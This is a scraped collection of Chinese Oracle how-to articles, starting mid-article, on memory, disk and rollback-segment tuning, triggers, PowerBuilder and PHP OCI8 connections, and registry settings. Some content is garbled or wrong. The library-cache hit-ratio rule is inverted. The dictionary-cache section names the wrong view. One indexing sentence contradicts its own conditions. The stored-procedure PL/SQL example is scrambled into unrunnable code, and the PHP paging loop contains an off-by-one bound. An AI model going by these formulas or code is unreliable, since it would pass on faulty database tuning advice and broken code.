    库缓冲区中包含私用和共享SQL和PL/SQL区，通过比较库缓冲区的命中率决定它的大小。要调整库缓冲区，必须首先了解该库缓冲区的活动情况，库缓冲区的活动统计信息保留在动态性能表v$librarycache数据字典中，可通过查询该表来了解其活动情况，以决定如何调整。
    Select sum(pins),sum(reloads) from v$librarycache;
    Pins列给出SQL语句，PL/SQL块及被访问对象定义的总次数；Reloads列给出SQL 和PL/SQL块的隐式分析或对象定义重装载时在库程序缓冲区中发生的错误。如果sum(pins)/sum(reloads) ≈0，则库缓冲区的命中率合适；若sum(pins)/sum(reloads)>1, 则需调整初始化参数 shared_pool_size来重新调整分配给共享池的内存量。
1.2.2 数据字典缓冲区的调整
    数据字典缓冲区包含了有关数据库的结构、用户、实体信息。数据字典的命中率，对系统性能影响极大。数据字典缓冲区的使用情况记录在动态性能表v$librarycache中，可通过查询该表来了解其活动情况，以决定如何调整。
    Select sum(gets),sum(getmisses) from v$rowcache;
    Gets列是对相应项请求次数的统计；Getmisses 列是引起缓冲区出错的数据的请求次数。对于频繁访问的数据字典缓冲区，sum(getmisses)/sum(gets)<10%～15%。若大于此百分数，则应考虑增加数据字典缓冲区的容量，即需调整初始化参数shared_pool_size来重新调整分配给共享池的内存量。
1.2.3 缓冲区高速缓存的调整
    用户进程所存取的所有数据都是经过缓冲区高速缓存来存取，所以该部分的命中率，对性能至关重要。缓冲区高速缓存的使用情况记录在动态性能表v$sysstat中，可通过查询该表来了解其活动情况，以决定如何调整。
    Select name,value from v$sysstat where name in ('dbblock gets','consistent gets','physical reads');
    dbblock gets和consistent gets的值是请求数据缓冲区中读的总次数。physical reads的值是请求数据时引起从盘中读文件的次数。从缓冲区高速缓存中读的可能性的高低称为缓冲区的命中率，计算公式：
    Hit Ratio=1-(physical reds/(dbblock gets+consistent gets))
    如果Hit Ratio<60%～70%，则应增大db_block_buffers的参数值。db_block_buffers可以调整分配给缓冲区高速缓存的内存量，即db_block_buffers可设置分配缓冲区高速缓存的数据块的个数。缓冲区高速缓存的总字节数=db_block_buffers的值*db_block_size的值。 db_block_size 的值表示数据块大小的字节数，可查询 v$parameter 表：
    select name,value from v$parameter where name='db_block_size';
    在修改了上述数据库的初始化参数以后，必须先关闭数据库，在重新启动数据库后才能使新的设置起作用。
1.3 调整磁盘 I/O
    磁盘的I/O速度对整个系统性能有重要影响。解决好磁盘I/O问题，可显著提高性能。影响磁盘I/O的性能的主要原因有磁盘竞争、I/O次数过多和数据块空间的分配管理。
    为Oracle数据库服务器创建新文件时，不论是表空间所用的数据文件还是数据事务登录所用的日志文件，都应仔细考虑数据库服务器上的可用磁盘资源。如果服务器上有多个磁盘，则可将文件分散存储到各个可用磁盘上，减少对数据库的数据文件及事务日志文件的竞争，从而有效地改善服务器的性能。对于不同的应用系统都有各自的数据集，应当创见不同的表空间分别存储各自应用系统的数据，并且尽可能的把表空间对应的数据文件存放在不同的磁盘上，这种从物理上把每个应用系统的表空间分散存放的方法，可以排除两个应用系统竞争磁盘的可能性。数据文件、事务日志文件分别存放在不同的磁盘上，这样事务处理执行的磁盘访问不妨碍对相应的事物日志登记的磁盘访问。如果有多个磁盘可用，将两个事物日志成员放在不同的磁盘驱动器上，就可以消除日志文件可能产生的磁盘竞争。应把一个应用的表数据和索引数据分散存放不同表空间上，并且尽量把不同类型的表空间存放在不同磁盘上，这样就消除了表数据和索引数据的磁盘竞争。
1.4 调整数据库服务器的回滚段
    回滚段是一个存储区域，数据库使用该存储区域存放曾经由一个事务更新或删除的行的原始数据值。如果用户要回滚一个事务所做的改变，那么数据库就从回滚段中读回改变前的数据并使该事务影响的行改变为它们的原状态。回滚段控制着数据库处理事务的能力，因而在数据库成功中起着关键性的作用，不管数据库的其它部分设计得多好，如果它设计得不合理，将会严重影响系统的性能。建立和调整回滚段的原则如下。
1.4.1 分离回滚段
    分离回滚段是指单独为回滚段创建一个以上的表空间，使回滚段与数据字典、用户数据、索引等分离开来。由于回滚段的写入与数据和索引的写入是并行进行的，因此将它分离出来可以减少I/O争用。如果回滚段与数据不分离，倘若要某个表空间脱机或撤消，那么在该表空间中的各个回滚段没有全部脱机之前，不能将这个表空间脱机或撤消。而一旦该表空间不可用，则该表空间中的所有回滚段也不能使用，这将浪费所有分配的磁盘空间。所以，独立回滚段可使数据库管理变得容易。回滚段的经常性收缩，使得表空间的自由块更容易形成碎片。分离回滚段可以减少数据库表空间的碎片产生。
1.4.2 创建不同大小的回滚段群
    对于一些联机事物处理，他们一般是频繁地对少量数据进行修改，创建许多小的回滚段对之有利。每一个事物的入口项只能限于一个回滚段，回滚段应该充分大以容纳一个完整的事物处理，因此对一些较大型事物，需要较大型的回滚段。极个别脱机处理事物会产生大量的回滚信息，这时需要一个特大号的回滚段来处理。根据这些理论，在Oracle数据库服务器中针对上述3种事物处理创建三组：小事物组、较大事物组、特大事物组等大小不同的回滚段群，并且将之分散到3个不同的表空间上，群内大小相同，应能满足该组事物处理的最大要求。
1.4.3 创建数量适当的回滚段
    一般回滚段数量与并发事物个数有关，以下给出由于并发事物个数而应建立回滚段的参考数：

并发事物（n）　　　回滚段数
n<16　　　　　　　　4
16 ≤ n<32　　　　　8
n≥ 32　　　　　　n/4

2 调整 Client/Server 模式下的网络 I/O
    Client/Server环境中的应用处理是分布在客户应用程序和数据库服务程序之间的。在 Client/Server环境中Client与Server之间的网络I/O是整个系统性能提高的瓶颈，一个客户应用程序引起的网络I/O越少，应用及整个系统的性能越好。减少网络I/O的最重要的一条原则：将应用逻辑集中在数据库服务器中。
2.1 使用Oracle数据库的完整约束性
    当为应用建表时，应当为一些有特殊要求的数据加上适当的完整性约束，这样就能实现由数据库本身而不是应用程序来约束数据符合一定的条件。数据库服务器端的完整约束的执行操作是在比SQL语句级别更低的系统机制上优化，它与客户端无关，只在服务器中运行，不需在Client 端和Server端之间传递SQL语句，有效地减轻网络I/O负担。
2.2 使用数据库触发器
    完整约束性只能实现一些较简单的数据约束条件，对一些较复杂的事物处理规则就无能为力，这时最好不要在应用程序中实施复杂的程序控制，而是应当采用数据库触发器来实施复杂的事物规则。数据库触发器能实现由数据库本身，而不是应用程序，来约束数据符合复杂的事物处理规则，并且容易创建，便于管理，避免大量的网络I/O。
    例如：将当前表A中成为历史的记录从A表中转储到历史表B中，表示为Lsbs。
在应用程序中实现：　　　　　　　用数据库触发器实现：
Beign　　　　　　　　　　　　　　Create trigger delete1
  Update A set lsbs='T';　　　　　　　After update of lsbs on A
  Insert into B　　　　　　　　　　　For each row
  Select * from A where lsbs='T';　　　 Insert into B
  Delete A where lsbs='T';　　　　　　select * from A where :new.lsbs='T';
End;　　　　　　　　　　　　　　 Delete A where :new.lsbs='T';
                                End delete1;

    在应用程序中实现时，所有的SQL命令请求传送的数据都要通过网络在Client端和Server端进行交换，而不像数据库触发器一样，SQL本身在Server端，不需要通过网络传输数据。当进行操作的数据量相当大时，并且多个用户同时操作时，通过在应用程序中实现复杂的控制，必将增大网络I/O的负荷，使整个系统的性能降低，而用数据库触发器能完全避免这种情况发生。
2.3 使用存储过程、存储函数和包
    Oracle的存储过程和存储函数是命名的能完成一定功能并且存储在Server端的PL/SQL的集合。包是一种把有关的过程和函数组织封装成一个数据库程序单元的方法。它们相对于应用程序的过程、函数而言，把SQL命令存储在Server端。使用存储过程和存储函数，应用程序不必再包含多个网络操作的SQL语句去执行数据库服务器操作，而是简单调用存储过程和存储函数，在网络上传输的只是调用过程的名字和输出结果，这样就可减少大量的网络I/O。
    例如：基表A、B的定义：name char(20)；detail char(10)；A表100万记录，应用程序将从基表A中检索detail列符合给出条件的记录，并将之插入基表B。
    Declare
    Cursor cursor1 is select*from A;poin cursor1%type；
          con1 number(2);res1 char(4)='abcd';
    Begin　Insert into B values(poin.name,poin.detail);end if;
     For poin in cursor1 loop　　　End loop;End loop;
     For con1 in 1..7 loop　　　　Commit;
      If substr(poin.detail ,con1,4)=res1 then End;
    如果在Developer/2000 From中按钮触发器直接用PL/SQL实现和把它改写为一个Oracle存储过程，然后在From中调用此过程实现比较，后者性能显著提高。
    在考虑使用上述3种方法时：首先考虑使用完整约束性。对于数据库触发器和存储过程，如果需要所有访问数据库的程序自动实施一定规则或检查，那么使用数据库触发器；如果只需对少数的程序实施一定的规则或检查，则可创建一个过程，让有关程序调用这个过程。

3 应用程序的调整
3.1 SQL语句的优化
    SQL语句的执行速度，可以受很多因素的影响而变化。但主要的影响因素是：驱动表、执行操作的先后顺序和索引的运用。可以由很多不同的方法间接地改变这些因素，以达到最优的执行速度。这里主要探讨当对多个表进行连接查询时应遵循的优化原则：
    (1) 用于连接的子句的列应被索引、在Where子句中应尽量利用索引，而不是避开索引。
    (2) 连接操作应从返回较少行上驱动。
    (3) 如果所连接的表A和B，A表长度远远大于B表，建议从较大的A表上驱动。
    (4) 如果Where子句中含有选择性条件,Where No=20，将最具有选择性部分放在表达式最后。
    (5) 如果只有一个表有索引，另一表无索引，无索引的表通常作为驱动表。如A表的No列以被索引，而B表的No 列没被索引，则应当B表作为驱动表，A表作为被驱动表。
    (6) 若用于连接的列和Where子句中其他选择条件列均有索引，则按各个索引对查询的有效性和选择性分别定出级别，结合表中具体数据构成情况，从中选出优化路径，一般需要考虑：子句中哪些列可以使用索引、哪些索引具有唯一性及被查询表行数目等。
3.2 建立和使用视图、索引
    利用视图可以将基表中的列或行进行裁减、隐藏一部分数据，并且能够将涉及到多个表的复杂查询以视图的方式给出，使应用程序开发简洁快速。利用索引可以提高查询性能，减少磁盘 I/O，优化对数据表的查询，加速SQL语句的执行。但任何时候建立索引都能提高性能，何时建立索引应当遵循以下原则：该表常用来在索引列上查询，该表不常更新、插入、删除等操作，查询出来的结果记录数应控制在原表的2%～4% 。
3.3 使用 Oracle 的数组接口
    当一个客户应用程序插入一行或用一个查询来向服务器请求某行时，不是发送具有单个行的网络包，而是采用数组处理，即把要插入的多个行或检索出的多个行缓冲在数组中，然后通过很少的几个包就可在网上传送这些数组。例如，一个给定的Select语句返回2000行数据，每行平均大小为40个字节，数据包的大小为4kB，而数组大小参数(arraysize)设置为20 ，则需从服务器发送100个数据包到客户机。如果简单地把(arraysize)设置为2000，那么同样的操作只需要传送 20个数据包。这样就减少了网络的传输量，提高了所有应用的性能。

4 总结
    我们在开发应用程序时，遵循上述的方法和原则，对系统进行调整，收到了令人满意的效果。但是应当指出，由于客户机、网络、服务器这3个相互依存的组成部分都必须调整和同步才能产生最佳的性能，因此还应根据系统的具体情况，具体分析和调整。


Oracle技术网—PB7 连接 Oracle 的配置方法

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
PB7 连接 Oracle 的配置方法

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 访问方法：

1、首先安装好Oracle客户端应用程序，确保Oracle网络连通

   配置C:\Oracle\Ora81\network\ADMIN\tnsnames.ora文件，
   创建连接到服务器的数据库别名

   test1 =
     (DESCRIPTION =
       (ADDRESS_LIST =
         (ADDRESS = (PROTOCOL = TCP)(HOST = 192.1.1.1)(PORT = 1521))
       )
       (CONNECT_DATA =
         (SERVICE_NAME = oradb)
       )
     )

   注：
   服务器端Oracle数据库实例名：oradb
   服务器端IP地址：192.1.1.1

   确认在客户端SQL*Plus中可以用system/manager@test1连接上

2、打开PB7

编辑、配置DB Profile

在Oracle数据库接口上，点击“New”

Profile name：随意起一个易记的名字
Server：      添数据库别名
Login ID：    服务器端Oracle数据库用户名
Password：    用户密码

如上图添好后，点击“OK”

用鼠标选中刚刚建立的“to_oradb”，然后点“Connect”，进行连接测试

如果屏幕左下脚出现如下图所示，则表明连接成功


Oracle技术网—PB内置Oracle数据库接口的使用方法

PB内置OEACLE数据库接口的使用方法

马长明
    PowerBuilder(PB)和Oracle分别是前端开发工具和RDBMS的主流产品。PB提供了两种与Oracle连接的接口：Pow
erSoft内置的数据库接口(Native Database Interface)和ODBC接口。本文介绍使用PB60内置Oracle接口的方法
，包括数据描述文件的设置、存储过程的调用和存储过程作为数据窗口数据源的操作方法等内容，使用的RDBMS的Or
acle 73。

    PowerBuilder与Oracle的连接

    假定已安装Oracle客户端应用程序。可用Sqlplus或Tnsping等是否能连接到Oracle数据库，确定在SQLNET配
置文件中使用的数据库别名(Database Alias，又称服务器名，Server Name)。如有疑问，可在Oracle客户端程序
目录下tnsname.ora文件中找到。另外保证搜索路径已包括SQL*NET应用程序的安装目录(如C:\ORAWIN95\BIN)。

    进入PB的Database Profiles画笔，可看到所有已安装的数据库接口(PB60缺省安装的是Oracle 73版的接
口，如使用低版本的Oracle，需在安装时指定)，选择“O73 Oracle 73”，点击“New”按钮，进入Database Pro
file Setup对话框。在“Connection”页输入下列信息：Profile Name：为该Database Profile起一个有意义
的名称；

    Server:@TNS:ServerName，其中ServerName为上述数据库别名(服务器名)，如@TNS:ORA73；

    Login ID：Oracle数据库中实际的用户名，由于PB初次连接到数据库时要自动建立五个系统表(PowerBuilder
Catalog Table:PBCATTBL,PBCATCOL,PBCATEDT,PBCATFMT,PBCATVLD,存储表的扩展属性)，因此第一个连接到Oracle
的用户必须具有建表、给PUBLIC角色授权等权限。例如可用SYSTEM用户进行第一次连接，此后的连接对用户则无特
殊要求；

    Password：该用户的口令。

    设置上述内容后，即可连上Oracle。为优化数据库连接，还可设置下列选项：

    Prompt for Database Information：连接时是否提示用户输入用户名和口令；

    Generate Trace：启动DB跟踪工具，跟踪连接；

    Thread Safe：开发需要多线程环境支持的分布式应用时，选择该项。缺省为未选，适用于非分布应用；

    PBDBMS：与存储过程调用方式有关的参数。Oracle为72或更高版本时，清除该选项，此时带IN OUT参数的存
储过程可作为数据窗口数据源。72版本以下，选择该项，调用PBDBMS.Put－Line建立存储过程的SQL语句，缺省
是选中；

    Commit on Disconnect：断开连接时，指定提交或回退未提交的事务；

    Case Sensitive：连接的Oracle服务器是否区分大小写。注意该项选中时，所有主键、包含主键的表名、外键须全为大写字符。

    PowerBuilder Catalog Tables Owner：指定拥有PB系统表的用户，缺省为“SYSTEM”。如果要使用多种显示
格式或有效性规则，可以在不同的用户下建立几套系统表；

    Table Criteria：指定满足哪些条件的表、视图和同义词可在“Select Tables”对话框中显示出来。例如DEV
用户下销售子系统的表都以SALE开头，则可以用SALE％、DEV、“TABLE”、“VIEW”指定只显示DEV用户以SALE开头的表和视图；

    Asynchronous：选择该项，可在一个复杂的SQL语句执行过程中，返回第一行结果前，切换到其他操作；

    Number of Seconds to Wait：若上一项选中，还可进一步通过该项指定检索数据时，等待数据库响应的时间
；

    Retrieve Blocking Factor：决定数据窗口对象一次可从数据库取出的记录数；

    Number of SQL Staments Cached：PB可将数据窗口对象产生的SQL语句和嵌入式SQL语句保存在SQL语句缓冲区
，该参数指定缓冲区为PB保留的SQL语句数目。该数值可由下式计算：SQLCache=服务器OPEN—CURSORS数－5(保留的游标数)－本连接预期使用的最大游标数；

    Disable Bind：指定是否将输入变量与SQL语句绑定，此参数影响PB为数据窗口对象生成INSERT语句的方式；

    Static Bind：数据窗口对象检索数据前是否检测SELECT语句的合法性；

    在Syntax页，还可指定日期、时间的格式等。在Preview页可查看Database Profile设置对应的PowerScript写
法。

    Oracle存储过程的使用

    归纳起来PB60中调用Oracle存储过程有以下四种方法。

    方法一：以关键字RPCFUNC声明存储过程；

    方法二：以DECLARE PROCEDURE语句声明存储过程；

    方法三：以动态SQL语句实现；

    方法四：调用函数PBDBMS.Put－Line。

    一般情况下，方法一能得到较好的运行效率和更完善的功能。因此推荐使用方法一。但是某些类型的存储过程只能使用其他方法。以下重点介绍方法一和方法二。
    两种方法比较起来，有以下几点主要区别：

    1)方法一适用于具有IN、OUT和IN OUT参数的存储过程，而方法二仅支持IN和OUT参数，不支持IN OUT参数；
    2)方法一对参数的数目无限制，方法二最多支持255个参数；

    3)方法一不支持记录(Recorder)的传递，方法二可传递和接收记录。

    方法一操作步骤：

    1)在用户对象画笔中创建一个Class－Standard类型的，从Transaction继承的用户对象。

    2)在此用户对象中，声明Local External Functions，将存储过程以RPCFUNC关键字声明为外部函数。在Declare Local External Functions对话框中按Procedures按钮选择要调用的后台存储过程，或直接输入类似subroutin
e TEST(long id,ref string name)RPCFUNC ALIAS FOR “DEVTEST”的语句。例如中DEVTEST的参数为(id IN NUMBER,name IN OUT VARCHAR2)。

    3)保存该用户对象。

    4)在Application画笔中，进入应用属性对话框，在Variable Types页，将上Transaction用户对象设置为缺省的全局变量SQLCA。

    5)脚本中，编码调用相应的外部函数。形式：SQLCA函数名(参数)。如可用“SQLCATEST(ln—id,ls—name);”调用例子中定义的DEVTEST存储过程。其中ln—id,ls—name为调用参数。

    方法一注意事项：

    1)由于PB中String类型的数据长度是动态分配的，因此对Ref String类型的参数，每次调用前需要申请足够的
空间。例如上例从输入的id值检索name，后台声明的NAME数据类型为VARCHAR2(30)，每次调用SQLCATEST前需要
用ls—name=SPACE(30)置ls—name为足够长度的空串。
    2)类似地当传递的参数为数组(后台称PL/SQL Table)时，声明参数为相应类型的动态数组，并在每次调用前设
置数组上界为足够大的值。例如：DEV用户的DEPT包中声明了TYPE tbl—name IS TABLE OF VARCHAR2(30) INDEX B
Y BINARY—INTEGER；存储过程EMP—OF—DEPT(dept—id IN NUMBER,name OUT DEPT.tbl—name)返回部门编写为de
pt—id的部门的所有员工，置name数组中。假定所有部门的员工数目不超过100，则可用以下语句声明和调用DEV
EMP—OF—DEPT：

    Declare External Functions对话框中：

    Subroutine EMP—OF—DEPT(long dept—id,ref str
ing name[]) RPCFUNC ALIAS FOR ″DEV.EMP—OF—DEPT
″

    PowerScript脚本中：

    long ln=dept—id

    string lsa—name[]

    ……

    lsa—name[100]=″ //置动态数组lsa—name上界为
100

    ln—dept—id=2

    SQLCA.EMP—OF—DEPT(ln—dept—id,lsa—name) /
/检索部门2的所有员工的名字

    方法二使用方法：

    在脚本中加入如下编码(以DEVTEST为例)：

    long ln—id

    string ls—name

    ln—id=100

    DECLARE test PROCEDURE FOR DEV.TEST(:ln—id);
//test有一个IN参数，一个OUT参数

    EXECUTE test;

    FETCH test INTO:ls—name;

    方法三使用方法：

    根据输入输出参数的不同，PB中的动态SQL语句有四种格式：1)无输入输出参数；2)只有输入参数，无输出参
数；3)有确定数目输入输出参数；4)输出结果列的数目不定。其中第1)、第2)中格式的动态SQL语句也可用来调用简
单的存储过程。

    1)没有输入输出参数的存储过程。例如DEVDEMO1存储过程没有输入输出参数，可用下列语句调用：

    sqlstring=″EXECUTE DEMO1()″

    EXECUTE IMMEDIATE:sqlstring;

    2)只有输入参数的存储过程。例如DEV.DEMO2(name IN VARCHAR2,birthday IN DATE)

    PREPARE SQLSA FROM ″EXECUTE DEMO2(?，?);″

    EXECUTE SQLSA USING:ls—name,:ldt—birthday;

    如果是72以下版本的Oracle，可用方法四PBDMBS.Put—Line()函数调用建立存储过程。此时需选上Database Profile中的PBDBMS复选框。

    存储过程作为数据窗口的数据源

    以一个简单数据窗口(显示服务器的系统时间)为例说明怎样创建存储过程作为数据源的数据窗口。

    1)在某个包(如PACK—TYPE)中定义日期类型的Recorder自定义数据类型datarec；

    2)创建返回系统时间的存储过程：

    PROCEDURE get—sysdata(sysdt IN OUT PACK－TYPE
.datarec)IS

    BEGIN

    open sysdt for select sysdate from dual;

    END;

    3)新建数据窗口，数据源选择Stored Procedure；

    4)在随后的Select Stored Procedure对话框中选择get—sysdate即可。

    如果作为数据源的存储过程有IN参数，则这些参数就是数据窗口的检索参数(Retrieve Argument)。


Oracle技术网—PHP+Oracle(OCI) 初步

PHP+Oracle(OCI) 初步
windy 2000年10月7日

摘自：ＰＨＰ中文用户

PHP+Oracle(OCI) 初步
从Oracle(OCI)开始

在越来越多的PHP用户选择Oracle作为他们的数据库的情况下，如何访问PHP发布环境下的Oracle接口变的越发的重要了。我们将从快速的浏览一个简单基本且是更加明确的Oracle 的情况开始我们的旅程。Oralce 和Oralce8 使用PHP的OCI8 函数库。在PHP手册里有简要的说明(http://www.php.net/manual/ref.oci8.php):

这些函数允许你访问Oracle 和 Oracle7d 的数据库，它们使用的是Oracle8 Call-Interface(OCI8)。你将需要Oracle8 的客户端函数库来使用这些扩展功能。

这些扩展功能比起标准的Oracle扩展功能来更加的灵活，它支持PHP全局及本地变量及与Oracle的连编，有完整的LOB，FILE及ROWID的支持并且允许你定义用户补充变量。

从这里开始，我将使用“Oracle”指代任何Oracle版本，这篇文章假定你已经安装并运行了PHP和Oracle。而Oracle的帮助可以在http://www.oracle.com 或者 http://technet.oracle.com 找到。

本文的观点是
1.连接到ORALCLE
2.建立并运行SQL语句
3.显示结果
4.限制/偏移量 接近“标记页数”的结果

作为一个附加的功能。你可以看看如何完成显示一个从很大的数据结果得出的限制/偏移量的查询。
<?php

/*我们将从一个基础的使用显示一个方案。在这个例子里使用的文件是由Rod Kreisler编写的新版本的文章(http://www.phpbuilder.com/columns/rod20000221.php3)。新版本的文件可以在http://php.socket7.net 找到。把$offset设置为0，如果被设置为0或者空的话。
*/
if (empty($offset) || $offset < 0) {
$offset=0;
}

/*我们将从一个基础的使用显示一个方案。在这个例子里使用的文件是由Rod Kreisler编写的新版本的文章(http://www.phpbuilder.com/columns/rod20000221.php3)。新版本的文件可以在http://php.socket7.net 找到。把$offset设置为0，如果被设置为0或者空的话。
*/
if (empty($offset) || $offset < 0) {
$offset=0;
}

$limit = 3;
/*
连接到Oralce，如果你愿意的话，可以在连接数据库的时候直接使用ORACLE_SID。使用PHP作为CGI使用非连续的连接，现在让我们在这个例子里使用这种非连续的连接。在windows里这个可以在注册表里设置，而在unix里你可以使用 putenv()函数putenv(“ORALCE_SID=ORASID”);
或者 ，如果你愿意，你可以在连接数据库的时候直接参考你的ORACLE_SID，让我们在这个例子里直接参考ORACLE_SID。
如果你使用PHP作为APACHE的模块的话，你可以使用持续连接。而使用非持续连接在使用PHP时作为CGI时，我们在这个例子里使用非持续连接。
*/

$conn = OCILogon("user_name", "password", "ORASID");

/*
错误提示。在没有数据库被连接的情况下，将会显示的错误信息并且退出脚本的执行。
*/

if (!$conn) {
echo "<h1>ERROR - Could not connect to Oracle</h1>";
exit;
}

/*
如果连接成功，$conn就是一个连接符。否则，脚本将结束并且输出“Could not connect to Oracle”的错误信息
现在开始来分析并且创建你的SQL语句，由无限制的查询结果得到可以记数的记录。
在这里的格式语句“Select count(*) from table_name”相当于count()，是个SQL函数将会在数据库里执行。比由依靠PHP计算得到的返回结果要好。
*/

$sql = "Select count(*) from table_name";

$stmt = OCIParse($conn, $sql);
if(!$stmt) {
echo "<h1>ERROR - Could not parse SQL statement.</h1>";
exit;
}

/*
如果你输入了一个错误的SQL语句或者出现了另一个错误，你将看到“无法分析SQL”的错误提示，$stmt现在就是一个定义语句。
现在执行你的分析语句
*/

OCIExecute($stmt);

/*
语句现在已经被执行了，但是正如你所看到的，没有结果标志符从OCIExecute()返回，由OCIParse()返回的结果包含了所有Oracle所需要的信息。
现在开始选择这个查询的结果，$total rows[0]将会包含一个数。如果没有行被返回，则显示错误并退出脚本的运行。
*/

OCIFetchInto($stmt, &$total_rows);

if ( !$total_rows[0] ) {
echo "<h1>Error - no rows returned!</h1>";
exit;
}

/*
这段代码是可选择的但将会使返回的结果更清楚，显示一个类似于“总共有15条记录，现在显示的是第4条到第15条结果。”的注释
*/

$begin =($offset+1);
$end = ($begin+($limit-1));
if ($end > $total_rows[0]) {
$end = $total_rows[0];
}

echo "There are <b>$total_rows[0]</b> results.<br>\n";
echo "Now showing results <b>$begin</b> to <b>$end</b>.<br><br>\n";

/*
现在是言归正传的时候了，释放原先的语句标识然后建立SQL语句.分析并执行SQL语句，
写代码时需注意：不同于MYSQL，Oracle在SQL语句中不支持限制语句。就本身而言，有很多方法选择特定的行，最好的方法是把选择的结果放在一个临时表里或者“缓冲“所有的结果。这样的方法已经超出了这篇教程的范围了。我们将使用一个更简单的方法，在下面将进一步的解释。
*/
OCIFreeStatement($stmt);

$sql = "Select * from table_name";

$stmt = OCIParse($conn, $sql);

if(!$stmt) {
echo "<h1>ERROR - Could not parse SQL statement.</h1>";
exit;
}

OCIExecute($stmt);

/*
现在显示结果。最简单的做法是在结果集合中使用这个循环。HTML将用来显示最终的结果，但是这个范例非常的简单，所以我们一个也不会用。
编写代码时注意：如上述规定的，在Oracle里是无法限制的，所以我们必须通过在全部的结果集取出我们想要的和终止我们已经有的结果来做这个循环。
在这一小节里，我们将会有几种不同的方法，实际上应该有更好的方法来写这个代码。但是我认为我的这种方法不太容易读懂，它确实运行有效。
*/

$i=0;
$j=0;
while( OCIFetchInto($stmt, &$result_array) ) {
if ($i>=$offset) {
if ($j <$limit) {
for ($k=0; $k<=count($result_array); $k++) {
echo $result_array[$k]." ";
}
echo "
";
$j++;
}
}
$i++;
}
echo "
";

/*
结果将显示在当前的页面里，现在是给访问者一个使用NEXT/PREV点击到其他页面的时候了
*/

// 计算结果所需的页面数，
$pages = intval($total_rows[0]/$limit);

// $pages 现在是除剩余的部分外总共所需的页面数
if ($total_rows[0]%$limit) {
// has remainder so add one page
$pages++;
}

//在显示的是第一页时不显示PREV的连接
if ($offset!=0) {
$prevoffset=$offset-$limit;
echo "<a href=\"$PHP_SELF?offset=$prevoffset\"><< PREV</a> &nbsp; \n";
}

// Now loop through the pages to create numbered links
// ex. 1 2 3 4 5 NEXT >>
for ($i=1;$i<=$pages;$i++) {
// Check if on current page
if (($offset/$limit) == ($i-1)) {
// $i is equal to current page, so don't display a link
echo "$i &nbsp; ";
} else {
// $i is NOT the current page, so display a link to page $i
$newoffset=$limit*($i-1);
echo "<a href=\"$PHP_SELF?offset=$newoffset\">$i</a> &nbsp; \n";
}
}

//检查当前页面是否为最后一页
if (!((($offset/$limit)+1)==$pages) && $pages!=1) {
// Not on the last page yet, so display a NEXT Link
$newoffset=$offset+$limit;
echo "<a href=\"$PHP_SELF?offset=$newoffset\">NEXT >></a><p>\n";
}

/*
现在我们完成了有关Oracle的任务，所以释放最后的语句标识并且退出。
*/

OCIFreeStatement($stmt);
OCILogoff($conn);

?>

所有人都还在这里？很好，你完成了！这个方法可以被用在很多更深入的理解Oracle和PHP的能力上。


Oracle技术网—PHP4连接Oracle 8i的方法（转译）

PHP4连接Oracle 8i的方法（转译）

摘自：ＰＨＰ中文用户
sonymusic 转译

1. 下载并安装 Oracle 8i for linux.
完全安装，不要只安装客户端
下载地点：chat.hn.cninfo.net/soft的hot下载

2. 下载PHP3或PHP4源码
下载地点：www.php.net www.phpuser.com chat.hn.cninfo.net/soft

3. 配置PHP的安装参数
for php 4:
./configure --with-apxs=/usr/sbin/apxs \
--prefix=/usr \
--with-gd \
--enable-versioning \
--with-mysql=/usr \
--with-oracle=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5 \
--with-oci8=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5 \
--with-zlib \
--with-dbase \
--with-filepro \
--with-config-file-path=/etc/httpd/conf \
--with-fdftk=no \
--enable-debug=no \
--enable-magic-quotes \
--enable-debugger \
--enable-bcmath \
--enable-track-vars \
--enable-safe-mode \
--with-exec-dir=/usr/bin \
--with-system-regex \
--no-create \
--no-recursion

--with-oracle 选项让php可以通过ORA＿函数访问 Oracle 7.x 或8.x
--with-oci8 选项让php可以使用更多更好的 oci8函数

4. make

5. make install

6. cp ./php.ini-dist /wherever/your/conf/files/are/php.ini
将php.ini拷贝到适当的位置

7. 修改httpd.conf
修改如下这一行
LoadModule php4_module lib/apache/libphp4.so
改为：
LoadModule php4_module /usr/lib/apache/libphp4.so

8. 重新启动APACHE

9. 测试PHP4的安装是否成功
创建一个test.php3内容为：

在浏览器中访问它，看是否有ORACLE和ORACLE8的信息。
如果有的话，那么就恭喜你了！

10. 现在开始使用ORACLE的函数吧
// 设置ORACLE环境变量
putenv("ORACLE_SID=PROD");
putenv("ORACLE_HOME=/usr/local/oracle/8i/u01/app/oracle/product/8.1.5");

// 建立连接
// 修改现在的user_id,password,db以适应你的配置
if($conn = OCILogon("user_id","password","db"))
{
// 取得数据库的信息
printf("%s

", OCIServerVersion($conn));
}
else
{
printf("Conncetion Failed");
}
?>
这段程序会显示出你所连接到的ORACLE的一些信息

12. 其它
如果你需要连接到远程的ORACLE服务器，你就还需要设置你的sqlnet.ora 和 tnsnames.ora 来指定远程数据库的位置。
向数据库管理员要求，拷贝一些文件放到
$ORACLE_HOME/network/admin/ 目录下


Oracle技术网—多个数据库时，如何设置默认数据库

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
多个数据库时，如何设置默认数据库

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 设置方法：

1、假设安装了两个数据库，分别为oradb和oradb2

   先安装oradb，再安装oradb2后，所有工具的默认连接库均为oradb2

2、regedit
   定位至：HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\HOME0

   找到ORACLE_SID这一项，将它的值改为oradb即可


Oracle技术网—如何备份Oracle设置

位置：首页→Oracle系统设置、优化、连接→

如何备份Oracle设置？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1、备份一下Oracle的设置，以防意外
  • 实现方法：
      1. 运行regedit

      2. 找到HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE

      3. 注册表(R)—>导出注册文件(E)

      4. 以后可通过“注册表(R)—>导入注册文件(I)”来恢复


Oracle技术网—如何让你的SQL运行得更快

如何让你的SQL运行得更快

摘自计算机日报

交通银行长春分行电脑部
任亮

